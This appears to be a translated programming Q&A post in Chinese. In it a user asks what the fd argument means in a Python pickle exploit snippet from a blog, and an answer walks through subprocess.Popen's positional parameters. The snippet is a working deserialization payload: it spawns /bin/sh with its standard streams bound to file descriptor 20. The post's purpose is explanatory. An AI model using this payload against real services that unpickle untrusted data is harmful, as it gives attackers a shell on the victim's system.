在 subprocess.Popen 中找到

fd in subprocess.Popen

我正在阅读一些 pickle 漏洞并找到了这段代码。

class Exploit(object):
  def __reduce__(self):
    fd = 20
    return (subprocess.Popen,
            (('/bin/sh',), # args
             0,            # bufsize
             None,         # executable
             fd, fd, fd    # std{in,out,err}
             ))

这个参数中的fd是什么意思?我假设它的值为 20。据我所知 subprocess.Popen(command, stdin = subprocess.PIPE) 等等。那么fd是从哪里来的呢?

Link 从哪里获得代码

https://blog.nelhage.com/2011/03/exploiting-pickle/

如果您查看 subprocess.Popen 的文档:

$ pydoc subprocess.Popen

您将找到 __init__ 方法的文档:

__init__(self, args, bufsize=0, executable=None, stdin=None,
stdout=None, stderr=None, preexec_fn=None, close_fds=False, 
shell=False, cwd=None, env=None, universal_newlines=False, 
startupinfo=None, creationflags=0)

这告诉你这个电话:

subprocess.Popen,
        (('/bin/sh',), # args
         0,            # bufsize
         None,         # executable
         fd, fd, fd    # std{in,out,err}
         ))

正在传递 argsbufsizeexecutablestdinstdoutstderr 的值。所以在这种情况下,代码将 stdin、stdout 和 stderr 设置为被调用进程的 20,这将被解释为标准 Unix 文件描述符,并对应于代码中其他地方打开的文件或调用方输出重定向生成的文件描述符。